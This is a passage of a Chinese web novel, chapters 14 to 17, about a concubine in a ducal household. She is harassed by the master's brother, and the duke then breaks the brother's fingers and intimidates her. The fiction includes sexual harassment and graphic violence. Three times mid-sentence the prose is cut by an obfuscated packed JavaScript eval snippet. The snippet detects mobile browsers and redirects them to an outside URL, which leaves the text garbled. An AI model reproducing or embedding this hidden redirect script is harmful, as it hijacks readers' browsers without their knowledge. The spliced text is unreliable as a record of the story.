柳薇懂了，这和上午许她出去挑布料的目的一样，是嫌她寒酸，影响他颜面了。 可从另一个方面来分析，他出手好阔绰，眼前这一大箱子东西，少说值上百两了吧？若是拿出去典当了，缺钱的困境岂不是迎刃而解？ 然而关键是，她也没机会出去；此外，东良买回它们来，肯定清点登记过了，有数的，草率变卖不得。 唉……不可鬼迷心窍、急功近利，终归是脚踏实地保险。 柳薇闭一闭眼，打消邪念。 她将心事藏得好，东良无所察觉，自顾自道：“现在也无事可忙，姑娘就回屋去研究研究这些东西该怎么使用、怎么搭配好了。” 人在屋檐下，不得不低头。柳薇点头称：“哦，我知道了。” 14. 第十四章 春雨忙着整点箱子里的物品。往出取一样，她眼睛亮一下，口中惊叹一声：“是玫瑰花的形状哎，好精美的发钗！” 又取出对手镯来：“哎呀，这玉，晶莹透亮，没有一丝杂质，一看就价值不菲！” 柳薇旁观，也忍不住赞叹：“真的没有一样不好的，这得值多少钱呐！” 春雨摩挲着下巴，沉思一时，说：“我没见过世面。我想，怎么也得几百两了吧！” “指定有了。”柳薇转身去凳子上坐定，从镜子里看见自己表情的复杂的脸，紧接着看见了春雨兴奋的脸——春雨捧着一只凤凰金簪，站在她背后，笑嘻嘻道：“我为姑娘梳个好看发髻，然后把这簪子别头上去吧！” 柳薇已经习惯了自己朴实无华的形象，摇摇头道：“这簪子比我更金贵，我怕戴坏了，还是不要了。” 春雨道：“哪那么容易坏啊。而且，韩大管家说了，姑娘现在象征的是国公爷的体面，就该用心装扮。姑娘，别谦虚推辞了，您难道不想看看您认真打扮起来，是什么样子吗？” 一搬出萧绝来，柳薇便无可辩驳了。妥协归妥协，仍觉得那金簪太华丽惹眼，因和春雨商量另换一个简单素雅的。 春雨听她的，换成刚刚端详过的玫瑰花发钗，梳了头替她插好。猛夸了一顿，又提议：“姑娘，再搽点胭脂水粉吧，那样更漂亮了。” 早些年，家中有条件，柳薇也是个爱美的，涂脂抹粉、描眉簪花……现在，面对镜子里一点点精致起来的自己，柳薇难免动心，接受了春雨的好意。 而后的小半个时辰，春雨围着她仔细勾勒点缀。末了，腾开身子，对她赞不绝口：“我就知道，姑娘妆点一下，不比府里的姑娘们差的；甚至，更胜一筹呢！” 镜中人，峨眉杏眼，秀鼻檀口，赫然是柳薇记忆中的自我。她有一瞬恍惚，举手轻抚自己的眉眼，苦笑着喃喃自语：“我都快不认识我自己了……” 命运飘零后，她很少照镜子，起初是无法承受风吹日晒后日渐粗糙的容貌，后来是习惯了，觉得沦落到终日当牛做马的田地，平平安安下去就够了，美丑什么的，不重要了。 春雨道：“姑娘又在说傻话了。” 言下，春雨自去打开柜子翻出一身耦合色新衣裳，是一进院子时，东良给准备的。除此之外，还有三套，柳薇均舍不得穿，一直珍藏。 春雨道：“姑娘，换上这身吧，这个颜色衬您。” 柳薇没有推托。 改头换面后，柳薇去寻东良，竟有几分扭捏，捉着衣边，目光躲闪道：“韩大哥……你看看我这么装扮，合不合国公爷的心意……？” 东良公事公办地看一看，道：“姑娘有心即可，国公爷自有分寸，不是我能议论的。” 东良避讳之意明显，柳薇有所感觉，站远一些，道：“那这会也没什么事，我去看看杨嬷嬷。韩大哥要有事，直接让春雨叫我，我就赶回。” 东良想一想，除非国公爷点名找她，不然也没什么需要她忙的。于是道：“姑娘放心去，这边一般有我呢。” 柳薇点头示意。 一道出来，不少人投来目光，柳薇安慰自己不要在意。 萧绝的凝晖院和大夫人的嘉荫堂相邻。快到嘉荫堂时，见有两个人在墙下追追赶赶。柳薇眼熟后面那个追人的，是六少爷萧绘。 萧绘好色荒唐，嘉荫堂里但凡有点姿色的丫鬟，无不被他殃及。冲这个理由，柳薇宁肯绕道去，或是今儿干脆不去了。 “那是谁，见了我就走？”柳薇避祸心切，偏偏萧绘眼尖心窄，抓着她不放。对方是大夫人的心肝肉，柳薇拗不过，扭回去见礼：“六少爷。” 见是个娇小的丫头，萧绘喜新厌旧的老毛病犯了，支走刚刚调笑的丫头，咧嘴一笑：“呦，听声儿有点耳生啊。你抬起头来，我好好瞧瞧你是谁。” 柳薇暗中鄙弃他登徒子，却依旧款款昂首，皮笑肉不道：“我是凝晖院的人，没怎么在六少爷跟前露过脸，六少爷眼生是正常的。” “凝晖院？”萧绘一琢磨，萧绝那个大和尚，多少年了身边没个女人，就是前一两个月收了一个，那个他亲眼见过，面黄体瘦，不稀得多看一眼，和眼前这个，哪哪对不上。难不成，萧绝趁人不知道，又往房里添了一个？ 柳薇一心一意赶紧摆脱萧绘，不惜表明身份，拿萧绝来撑腰：“除夕夜，老祖宗唤我去厅里与大家过年，六少爷是见过我的。我就是国公爷前段日子纳的妾。” 萧绘一怔，对着她上下一瞟，哂笑道：“哦，原来是你啊。你这焕然一新的样子，我是真没认出来。” 柳薇不想搭理他，后退一步，道：“六少爷如果没什么事情，我就先回凝晖院等国公爷回来了。” 言外之意，萧绝随时会回来，提醒萧绘不要越界。 萧绘充耳不闻，更近一步，轻浮一笑：“五哥是个大忙人，常有宿在衙门的时候，照应不上家里，这不，索性屋里屋外连花花草草都不种了。保不齐今儿又不回了。你说你回去等，恐怕会独守空房的呀……” 柳薇警惕地弹开，脸色阴沉：“万一让人听去，那可是大罪过。请六少爷慎言。” 她愈躲，萧绘愈来劲，直逼在她脸前，伏在她耳畔说：“这会又没人，你不说我不说，谁会知道呢？”突然伸手，一只手按住她手腕，另一只手摸上她的脸颊，极致轻薄，“萧绝冷心冷肺的，哪里如我怜香惜玉？白白浪费了你的青春。不如你跟了我，咱们日日夜夜快活，我定尽心尽力疼你。” 他那手蹬鼻子上脸，着实恶俗。柳薇一阵反胃，用力挣脱开来，横眉冷对：“我是国公爷的人，请六少爷放尊重些！” 萧绘垂涎她清水出芙蓉的相貌，没因此动气，笑说：“我可不是不尊重你，我恰恰是太喜欢你了，为你着想——开.苞了的人儿，就得勤快灌溉着，不然渴死了你，我多心疼呀。” 萧绘的下流，真叫柳薇大开眼界了。柳薇不肯再跟这种人消耗，绷着脸皮说：“望六少爷自重，不然我去告诉国公爷，大家都别想好过。” 刚刚一番纠缠，两人换了位置，柳薇对面是回凝晖院的路，背后是通往杨嬷嬷住处的路，而萧绘抱着胳膊拦着路，柳薇决计不愿和他生出瓜葛，便转头疾步去找杨嬷嬷。 扔下萧绘，搓了两下手指头，又拿到鼻端嗅，幽幽一缕茉莉香。萧绘闭眼一叹，回味无穷：“啧，高的矮的胖的瘦的见得多了，哪个不从我，这样的硬骨头倒是少见。怨不得萧绝收为己用，真是别有一番韵味啊。” 萧绘自言自语时，春菱一路找过来，瞅他独自翻着白眼在那傻笑，嗔怪道：“六少爷害我好找！” 萧绘将手背到身后，敛起荡漾之色，故作正经道：“找我做什么？” 春菱亲热地抱住萧绘胳膊，娇声娇气道：“又不是我非要烦扰少爷，是四少奶奶娘家哥哥才从南边贩货回来，带了好些新鲜玩意儿，装了一箱子送来孝敬夫人，夫人记着少爷，又四处不见少爷人影，才打发我来找少爷传话。” 柳薇在凝晖院谨言慎行期间，春菱一鼓作气，攀上了萧绘，现今也是大夫人点头承认的通房丫头了。大夫人还许她，来日怀上身孕，就领她到萧老太太眼跟前，认证为侍妾。 春菱喜不自胜，对大夫人益发殷勤，对萧绘益发娇媚，只盼早日有孕。 萧绘本性花心，得不到的时候昼思夜想，得到手了，便觉意兴阑珊。近来春菱千娇百媚，他有些腻了，就私底下骚扰其他丫鬟作乐。 “我都多大人了，出来随便转转，就风风火火地找。”萧绘撒开春菱，脸上浮现丝丝埋怨之意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137531|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬腿朝嘉荫堂去。 春菱两手空下来，气恼之余，闻到一丝淡淡茉莉香。嗅来嗅去，锁定了双手——她不爱熏茉莉香，萧绘亦然，那么这气味……只有一种解释：是萧绘和他人，还是个女人，有过肢体接触，从而沾染过来的。 萧绘心浮气躁，屡次撩拨女人，春菱一直有所耳闻。可那是以前，如今他已有了她，短短月余，他便盘算起别人来……她无论如何也咽不下这口气！ 春菱决定，以茉莉香为线索，查出适才与萧绘苟且之人的身份，提溜到大夫人面前求个处置——如果是嘉荫堂的丫鬟，那大夫人最痛恨手下人冒头勾引爷儿们，是一定会从重发落的！ 话说柳薇仓皇而逃，终于见上杨嬷嬷。平复了内心余悸，彼此叙了会旧。 柳薇不光是为谈天说地，更有一件事连日哽在心头，而这事，只可与深信不疑的杨嬷嬷谈及：“其实，我母亲也是苦命人，被我那爹卖给城西钱员外做小妾。我听说您家郝大哥在城西做买卖，对那头熟悉……所以，我想拜托嬷嬷，有空的话，您能不能回家和郝大哥商量商量，帮我打听一下我母亲的情况？我真的很担心她……” 言尽，向杨嬷嬷递了一个钱袋子，里头有两吊钱。 杨嬷嬷把钱推给她：“这么大点的事，多走两步路多问两个人就明白了，掏什么钱！” 到底是麻烦人家，不付出点什么，柳薇过意不去，执意把钱塞进杨嬷嬷手里，郑重道：“您肯白白帮我，是您心善，我却不能仗着您的善良而一毛不拔。郝大哥平时做生意已经很不容易了，又要挤出时间来为我奔波，估计也少不得动用人脉询问，可能还有使钱的时候，我不能让郝大哥自掏腰包给我垫补，您就收下吧。” 杨嬷嬷坚持不收：“真需要钱，那就让他给你垫上，反正他是我儿子，和我一条心。回头有确切消息了，再叫他一并算好贴出去多少，我再问你要也不迟。” 柳薇十分感动，强忍泪意：“谢谢嬷嬷，也谢谢郝大哥……” 杨嬷嬷拍拍她手背，语气中沉淀着长辈对晚辈的温柔：“穿扮得这么养眼，快别哭鼻子，省得哭成个小花猫脸，一会回去，别人再认不出是你。” 柳薇破涕为笑：“嬷嬷还是这么会说话。” 看窗外红日西沉，杨嬷嬷催她先回，以防萧绝下值归家找她却没着落。 柳薇从善如流，起身告辞。 与此同时，春菱那块心病，始料未及地寻到了病根—— 萧绘从大夫人房里出来，捉着春菱，旁敲侧击地探听关于柳薇的种种。春菱何其伶俐，觉出异样，当即反问：“好端端的，为何问起她来？” 萧绘不知是愚蠢还是心大，直爽表示：“你猜也猜不到，那丫头今儿个打扮得花枝招展的，竟也有几分姿色，叫我刮目相看了呢。” 春菱咬牙道：“她已有主了，少爷又不是不清楚？看也是白看，问也是白问。” 萧绘反应过来失言，倒打一耙：“我当然清楚。我又没说怎么样，你急什么？” 春菱欲辩，怎料萧绘几句话堵得她胸闷气短：“你急也没用。自古以来，男人三妻四妾，我不可能只安你一个人在房里。你啊，以为别为这事醋，我可没闲心哄你，自己想开点比什么都强。” 萧绘混蛋做到底，撇下她离开。 春菱捂着心口死盯着萧绘的背影，又失望又恼恨，同时更加确定，下午萧绘身上那股香气，出自于柳薇。 好一个柳薇，爬上了萧绝的床还不知足，居然又妖妖娆娆地引诱萧绘……岂有此理！ 春菱怒不可遏、恨火熏天，大步流星迈出嘉荫堂，径直去向凝晖院。 柳薇既敢扮狐媚子，存心恶心她，那就休怪她釜底抽薪了。她倒要看看，萧绝知情后，会不会继续容忍一个得陇望蜀的货色！ 15. 第十五章 休息了几日，萧绝精神状态极佳，料理起事务来越发得心应手。是故，今日难得没在衙门里凑合，可以回家来用晚膳。 被一路簇拥至凝晖院外，只见一个紫衣丫在院门外探头探脑。萧绝丢个眼色给二毛，二毛立即过去询问情况。 没勾搭上萧绘前，春菱日思夜想着萧绝，遗憾的是只在年节时远远望见过他，从没近距离接触过，连他的长相也很模糊。而今切实见上了，春菱骤然感受到一种威势，她甚至不敢贸然抬头，唯有结结巴巴道：“是关于……柳薇的，很重要，很紧急……” 是二毛凑近了在问，但萧绝亦听得分明。他目如寒潭，步步趋近，于春菱面前伫立：“你且说说，有柳薇什么事。” 处于他高大的阴影下，春菱心跳如鼓，费力吞了口唾沫，组织着语言：“下午，柳薇精心打扮，奔着六少爷去……搞得六少爷魂不守舍的，刚刚还问起我柳薇的各种事迹来……” 萧绝道：“柳薇去找六少爷时，你可曾在场？” 春菱道：“我虽不在现场，可是六少爷身上多出来的香味，以及六少爷跟我夸赞柳薇多么漂亮时的眼神，绝不会骗人。至少，柳薇的确有和六少爷碰过面。” 萧绝晾了春菱片时，颔首道：“知道了，你先下去吧。” 春菱痛恨柳薇，这才着急忙慌蹲守萧绝，可状是告了，他却反应平平，春菱绝不甘心，鼓足勇气问：“那柳薇做了您房里的人，却朝秦暮楚，背叛您……您不尽快处置她吗？” 春菱过于放肆，二毛忍不住喝止：“究竟该如何，国公爷自有分寸，轮得到你问东问西的？” 春菱懊悔方才莽撞，忙卑微了姿态，不敢出声。 “六少爷吃了晚饭没有？”是萧绝在问。 春菱答：“回国公爷，没有呢。” 萧绝按着后脖颈微微活动两下：“那你去把他叫过来，陪我一块吃。” 明明告发的是两个人，萧绝只要求叫萧绘过来，于最不检点的柳薇，却提都不带提的。春菱暗暗撇嘴，道：“那柳薇呢……不用去寻她吗？” 萧绝蓦地瞥向春菱：“你倒是挺关注柳薇的。” 春菱狡辩：“她做了那样不齿的事，我是为您不值……” 萧绝收回目光，一脚跨进院门：“花言巧语，着实令人生厌。滚去把萧绘叫过来。” 柳薇匆忙回到凝晖院，路过花厅，望见里面灯火通明，人影幢幢。正猜测是不是萧绝回来了，里面飞出一个声音来：“柳薇，进来。” 这用词，这口气，不是萧绝也没别人了。 柳薇一面答应，一面腹诽他是长着千里眼还是顺风耳？离着老远，他就笃定是她。 移步换景，厅里支着饭桌，桌上有酒有菜，主位上坐着萧绝，萧绝对面也坐着个人，居然是萧绘！ 柳薇掩饰不住惊愕。而这一幕，全在萧绝眼底。 “过来，为六少爷倒酒。”萧绝命令她，但面朝的是萧绘。 萧绘也是刚过来。 那春菱回去喊他的时候，藏着心眼子，不动声色，不露破绽，只转告他，萧绝有请。 萧绘自知与萧绝关系紧张，很是莫名其妙，一路寻思，没个所以然。眼下见萧绝使唤柳薇给自己倒茶，脑子里突然蹦出个念头：萧绝该不能是知道下午的事了吧？ 萧绘心口一紧，不觉憋红了脸。 萧绘做贼心虚，柳薇又何尝不是，愣在原地不知如何是好。 重重灯影下，柳薇红装点缀，衣袂飘盈，别有一番风姿。萧绝将唇角勾至一个微妙的角度：“发什么呆？” 未及柳薇作何反应，萧绘首先经受不起，讪笑着握住酒瓶，往自己酒杯里斟酒：“不用了，我自个儿来就成。” 萧绝不曾阻止，目光下落至他隐隐哆嗦的手，悠悠道：“六弟不是才和她拉扯完么，现在又跟她客气什么？” 萧绘所不安的，就这么被萧绝漫不经心地说了出来。萧绘手腕一跳，酒瓶滚落在地，四分五裂。 正待弯腰捡，萧绝一掌拍上他的肩膀，声音浸着寒意：“我的人，你也敢觊觎？你长能耐了啊。” 言毕，手下一用力，生生把萧绘按在脚下，冷眼睥睨：“对我的人动邪心，你可知有什么后果？” 萧绘挣扎着要起，萧绝一抬脚，踩在他脊梁骨上，直踩得他一张脸戳在地板里。萧绘疼得龇牙咧嘴，艰难道：“我就是和她打个招呼……我做什么了，你下手这么狠？” “敢做不敢当？”萧绝踩得更狠，萧绘抵挡不过，撑地的胳膊向两遍滑开，整个上半身匍匐在地上。萧绝嗤笑，转眼看向柳薇，淡漠道：“过来。” 突然东窗事发，柳薇毛骨悚然，双腿无力，瘫倒在地，哭腔浓重：“奴婢不是有意隐瞒的……不，奴婢压根没想隐瞒，是还没来得及……” 萧绝打断她：“过来。” 他一再命令过去，柳薇便是爬也得爬过去。于是手脚并用地挪到他脚下，伏地战栗不已。 “抬头。” 耳边是他的话音，眼前是他的袍角，鼻端是他惯用的熏香……所见所闻所嗅，通通是他，柳薇无路可退。 柳薇顺从抬起脸来，任由对方审视自己惊恐万状的丑态：“奴婢真的没有瞒哄您的意思，奴婢是清白……” 萧绝同一时间开口：“是你居心不良，勾引的他，还是他手脚不干净，骚扰的你？回答我。” 柳薇和盘托出：“是六少爷，先拦住路，说些不着边际的话，还动手动脚的……” “不着边际的话？比如？” “他说，反正您忙，顾不上家里，要奴婢和他偷偷地……”萧绘的原话忒龌龊，柳薇不堪启齿，颜色不停变化，“奴婢不从，他就追过来，拉住奴婢的手，摸了把奴婢的脸……” “这样啊。”萧绝眸色黯然，又往脚上注入一分力，蹬得萧绘脊背塌陷，下巴重重磕在地上，满嘴流涎，“他哪个手碰的你？” 柳薇极力回忆着：“两个手都碰了……” 萧绝点头，拿起脚，松开萧绘。萧绘有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143457|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心逃离，架不住背上火辣辣地疼，一时趴着，嘴里大喘气，活像条落水狗。 “心术不正，手不安分，留着徒增祸患罢了，不如除了干净。”萧绝视线掠往门口侍候的东良，“过来给我按住他的手。” 东良心领神会，这是要断萧绘的双手哇！ 萧绘好歹是个少爷，固然是鬼迷心窍，轻薄了不该轻薄的人，可总有其他法子惩治，直接断手，那大夫人得知以后，不得寻死觅活呀！ 东良应声入内，犹豫一会，才把嘴里的劝说吐出来：“六少爷毕竟是您的兄弟……小人斗胆，恳请您慎重考虑……” 萧绝一笑：“不错，我们是兄弟。那作弟弟的，净想着歪门邪道，我这作哥哥的，有责任教一教他为人处世的道理。” 为了家宅安宁，东良硬着头皮求情：“经过刚才的教训，六少爷一定知错了，以后肯定不会再犯了……” 萧绝摆手，神情不耐：“再啰嗦，连你一起罚。” 萧绝油盐不进，东良束手无策，可又不能坐视不管，便去瞟柳薇，抱着死马当活马医的心态，小声道：“柳姑娘，你快劝一劝国公爷呀……” 东良的求助，萧绝一字不落地听见了，阴恻恻道：“给一个轻浮不成器的东西求情——柳薇，你若是敢，后果自负。” 哪怕柳薇吃了熊心豹子胆，也不敢在这个节骨眼上出头。她拼命摇头：“奴婢没有，奴婢不敢……” “很好，算你识相。”萧绝含笑看东良。 东良打一个冷颤，不敢多话，就着萧绘身旁蹲下，找着他的左胳膊，拽出来，把手背翻到上面，再用力摁住手腕。 萧绘自知萧绝的意图，一边挣揣，一边嚎叫：“萧绝，我是萧家的六少爷，你敢动我一下，祖母和母亲不会饶了你的！” 萧绝慵懒挑眉道：“怎么不叫五哥了？” 任凭使出九牛二虎之力，终究挣扎无效。萧绘疯了般咆哮：“你残害手足，丧心病狂！你不得好死！快放开我，放开啊！来人，来人，快告诉我娘，萧绝要害我……” 突然“咔嚓”一声，似有什么东西断了。接连而来的是萧绘声嘶力竭的哭嚎：“啊——好痛，好痛！手指头好痛！救命啊！” 凄厉惨叫中，一只皂靴离开萧绘的手背——萧绝嗤之以鼻：“痛？痛就对了。” 萧绝耐心有限，又嫌这鬼哭狼嚎聒噪，因此干脆利落地施以训诫。 萧绝这一踩，萧绘的手指头八成断了。如是惨烈，东良目不忍睹，偏过头去。 萧绘痛得在地上直打滚，而造成这一切的人，正俯视着另一只羔羊，问：“来，告诉我，他用哪只手摸你脸了。” 柳薇亲眼见证了萧绘的惨状。她呆若木鸡，一字难言。 那可是他的亲弟弟，他竟然眼睛都不眨地下此狠手！他简直就是个魔鬼，太可怕了……太可怕了！ 她目瞪口呆时，打外面猝然蹿进个人来，扑倒在萧绘跟前，泣不成声：“儿啊，为娘来迟了……” 是大夫人。 16. 第十六章 萧绘护着左手，满地翻滚，满口哀嚎。大夫人在旁边，说不上话，插不上手，只剩下垂泪。 萧绝连身子也不带欠一下，平静道：“母亲要过来，该提前打声招呼才是。” 大夫人闻言，跳将起来，指着萧绝鼻子骂：“我提前打招呼？那你把你弟弟弄成这样，怎么不跟我打招呼？你真就是个畜生！” 萧绝微笑道：“母亲说我是畜生，那么我的好弟弟，光天化日之下，调戏我的妾，这又算什么？” 说到妾，大夫人才注意到前边萧绝脚下跪着个人，可不就是那个狐媚子害人精？大夫人一个箭步冲过去。不及怎么着，萧绝将胳膊一横，拦下大夫人。 “好哇，为一个死丫头对亲弟弟痛下杀手，简直是反了天了！”大夫人气得面红脖子粗，“你是不是以为你袭了爵位，这个家里就没人能管得住你了，由得你肆意妄为？！” 萧绝收手，直视大夫人，依旧是反问：“萧绘不敬，我略微管教一下，母亲护短不肯。而这女人明明白白是我的人，是死是活由我做主，母亲想越俎代庖，我不准，怎么就成了我反了天了？” 大夫人气急败坏道：“一个奴才，如何配与我儿相提并论？慢说是我儿，我屋子里的一条狗都比她金贵！” 此时，大夫人带来的几个丫鬟准备扶萧绘出去处理伤处，萧绝看见，眉峰一扬：“站住。” 几个人立即僵住，面面相觑。 萧绘嚎得太久，嗓子沙哑，也没剩多少力气了，两条胳膊耷拉在众人手里，翻着白眼，半死不活。 大夫人瞪着眼睛，咄咄逼问萧绝：“他已经那样了，你还嫌不够？你还要怎么个黑心法？！” 凛冽的目光越过大夫人，直达萧绘完好无损的右手，随后垂落在柳薇的头顶：“是不是右手？” 中断的思绪再度连接起来。柳薇会意，他是接着刚才的问题，指萧绘是不是用右手碰的她的脸。 是与不是，柳薇记得清楚，小声道：“是……是右手……” 大夫人暴跳如雷：“你成心要置我儿于死地是吧？好，好！我今儿也不要脸了，非撕了你个烂货不可！”说着便对柳薇乱扯一通。 惊吓使然，柳薇浑身僵硬，寸步难行，更毫无抵挡之力，若非萧绝把她拎去一侧，必定被大夫人挠得破相秃头。 因为一个萧绘，耗费了太多时间，萧绝不耐烦了，冲东良说：“把人拖过来。” 棘手的问题又抛给了东良。左右为难间，外头又来人了，但见清心搀扶萧老太太款款出现。 萧绝眼睛一眯，朝大夫人哂笑道：“母亲这是有备而来啊。” 大夫人啐了一口，转而去迎萧老太太，拉着老太太去看萧绘，泪眼婆娑道：“不久前还活蹦乱跳的一个人，这会可怜见的……这都是那个逆子做的孽呀！我无能，管不得他，只能求老祖宗主持个公道……！” 萧绘奄奄一息，看得萧老太太揪心不已，忙叫人进来把他抬出去医治。大夫人心系儿子，一把鼻涕一把泪地跟着离去。 萧绝不好驳老祖宗的情面，姑且放萧绘一马。 “祖母请坐。”萧绝腾出自己的座位，请萧老太太坐定，又亲手倒好茶水，献出去。 萧老太太没接，瞧瞧身畔屹立的孙子，再看看地上跪着发抖的柳薇，嗟叹道：“还在正月里，就闹出这么大的乱子。一个个的，真不省心。” 萧绝将茶放桌上，向老太太拱手：“是孙儿不该，动静太大，惊动了祖母，任凭祖母处罚。” 萧老太太皱眉道：“惊动我是小，你千不该万不该对自己的兄弟下此狠手。如果我不来这一趟，他没准都死在你手里了。” 萧绝道：“断两只手而已，要不了性命，我自有把握。” 萧老太太气笑了：“他是你弟弟，你说断他的手就断，你可曾考虑过你母亲的感受？可曾设想过咱们萧家的名声？” 萧绝道：“我是有欠妥之处，但归根究底，是萧绘挑衅在先。我身为他兄长，又为一家之主，教训一下他，合情合理。” 他以一家之主自居，萧老太太无法挑剔。再者，萧绘这几年确实荒淫无度，他母亲又处处袒护，指望不上；今儿犯在萧绝手下，下场惨重，以后总能长记性，改过自新了，倒不全是坏事。 萧老太太退让一步：“你有你的理，我也不说了。我现在只担心他那左手能不能恢复。” 萧绝淡淡道：“那便看医生的本事和萧绘的运气了。” “……我放心不下，过去瞅瞅。”萧老太太搭着清心的手臂起来，睃一下柳薇，“你就不要过去了，专心把这烂摊子整理好吧。” 萧绝道是，送萧老太太出门。 柳薇耳听八方，偌大的厅里，只余下自己粗重的喘息声。她慢慢支起脊背，恍然发觉眼前一片模糊，举手擦拭，顿感指尖冰凉湿润。 呆滞一瞬，柳薇连忙擦干双眼，试图站直身躯。然而，接连试了三次，皆以失败收场。 柳薇忍下落泪之意，重整旗鼓，进行第四次尝试。 “谁许你起来的？”背后冷不防响起个声音，夹缠着戏谑——萧绝悄无声息地回来了。 柳薇颓然跪回去，嗓音抖得不像话：“奴婢错了……奴婢再也不敢了……” 他折返，必然是要处置她了吧，像对待萧绘那样…… 萧绝不言，从容去主位前落座，眼帘低垂，眼光一点点经过柳薇的脊背，笑了：“错了？错哪了？” 柳薇感受得到，后背上扎着的视线。她果然要在劫难逃了吧……莫大的恐惧包围着她，她无法思考，无法对答，光是流泪。 萧绝听见了她低微的啜泣声，又是一笑：“我在问你话，你哭什么？” 他是主子，面对他，柳薇连哭的自由都没有。柳薇死咬住嘴唇，逼迫自己咽下全部酸楚，回他的话：“奴婢……” 可是心不由己，将将启齿，脸上便涕泗横流。 “奴婢……”她不能哭，所以她用尽毕生力气咬着下嘴唇，咬出了血，弥漫在口内，又咸又涩，“奴婢不该出去，那样就不会遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151103|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上六少爷，也就不会有后面的事……” 她的躯干深埋在脚底，背在颤，头也在颤，牵引得发髻之间的一支簪子一动一动的。萧绝摸起茶杯，饮一口凉透的茶水，道：“有人说，你今日穿着的这副模样，是特别给萧绘看的。” 柳薇矢口否认：“不是的！奴婢对六少爷，从来都没有非分之想！” 萧绝轻轻托着杯子，一言不发，显然在等她解释下去。 柳薇意会，一轮深呼吸后，道：“奴婢作此打扮，是因为韩大哥说，奴婢穿着得体面了，您见了心情也会好的……”言及此，她语气中添了些讨好之意：“奴婢是为了您能愉悦，才把自己弄成这样，和别人，没有一丁点关系……” “哦？” “是真的，奴婢没有撒谎……” 沉吟须臾，萧绝撂下茶杯，略向后仰一仰，道：“抬头。” 他一说“抬头”，就意味着对她的澄清有了兴趣，要亲自审查一番她所言的真实性。 刚才所说，句句属实，问心无愧，能够大大方方地接受他的审视，哪怕是考验。于是柳薇应从，昂首。 四目相对下，萧绝的眼里倒映出一张脸，眼角有泪，嘴角有血，可谓乱七八糟。偏偏是这么一张凌乱的脸，镶嵌着一对乌黑无杂质的眼睛，它们透露着一条信息：她适才的话，经得起推敲——她没有扯谎。 萧绝自诩火眼金睛，似柳薇这等胸无城府、不堪一击的，断然跟他耍不来心机。遂信了她的说辞，颔首道：“嘴如何破了？” 柳薇道：“是奴婢不小心咬破的，不疼的……”不疼是假的，只是她不敢明说。 “是吗？”目光交汇间，萧绝忽而倾身，彼此的距离陡然缩短；赫然，柳薇的下巴困于他的手掌下，“真不疼，还是装不疼？” 突然逼近，突然触碰……他是生气了吗？如果是，他又在气什么？柳薇向来猜不透他，满心纠结，声若蚊蚋：“不怎么……” 一语未了，他的大拇指沿着下颌缓慢游走，抵达她的嘴唇。倏尔，压住了破溃的下唇角。血凝聚成珠，于他指际划过，拖行出一抹鲜艳的红。 柳薇吃痛攒眉：“您……” 萧绝道：“我不喜欢不诚实的人。” 柳薇领悟其意，果断承认脆弱：“奴婢是疼的……” 萧绝却没立刻放过她，反倒又在她唇上蹂躏，又一颗血珠滴落。“做我的人，就必须对我忠贞不二。” 疼痛所致，柳薇淌下两行清泪。百般窘迫下，她表忠心：“是，奴婢一定对您忠心耿耿，绝不敢有异心……” 萧绝挪手，触及她的眼睑，横抹开来，抹去那点点泪花。“柳薇，记住你今日说的话。” 此情此景，柳薇焉有二话，全然顺从他，连连点头：“奴婢至死不敢忘……” 闻言，萧绝高抬贵手，解除挟制，还她自由，宣告她劫后余生的现实：“退下吧。” 得救了……柳薇长舒一口气，费力爬起来，按捺住落荒而逃的冲动，勉强稳重地退出去。 17. 第十七章 惩治萧绘时，萧绝屏退闲杂人等，是以，厅里详细发生了什么，春雨并不了解，光听见那边惨叫不绝。 这会柳薇走出来，春雨赶忙迎上去，拿灯笼一照，看见她蓬头垢面、失魂落魄，不禁忧心忡忡道：“姑娘，你……还好吗？” 眼睛黑了一瞬，柳薇忙扶住廊下的柱子，稍作缓和，道：“还好，还好……” 春雨道：“里面大喊大叫的，里面到底发生什么了呀？” “……不干你的事，你别好奇。”柳薇拿开手，蹒跚往住处去。 春雨挠一挠头，讪讪追上。 屋里，春雨备好热水，挽着手巾，等柳薇洗脸。谁料她洗到一半，猛地栽了下去，盆儿也被打翻了，水淋了一地。 “姑娘！”春雨慌忙去扶人，才碰上柳薇，便为她火热的皮肤大惊失色，忙不迭喊人帮忙请府医过来。 柳薇发烧了，紧闭双眼躺在床上，呓语不断，时而喊娘，时而哭泣。 窗外，围着三个人：东良、府医、春雨。 东良叮嘱春雨：“你看顾好柳姑娘。如有什么难处，及时说，但不要大声吵嚷，国公爷就在前院书房办公，不能分心。” 春雨暗地里思忖：柳姑娘病得厉害，国公爷看都不来看一下的吗？ 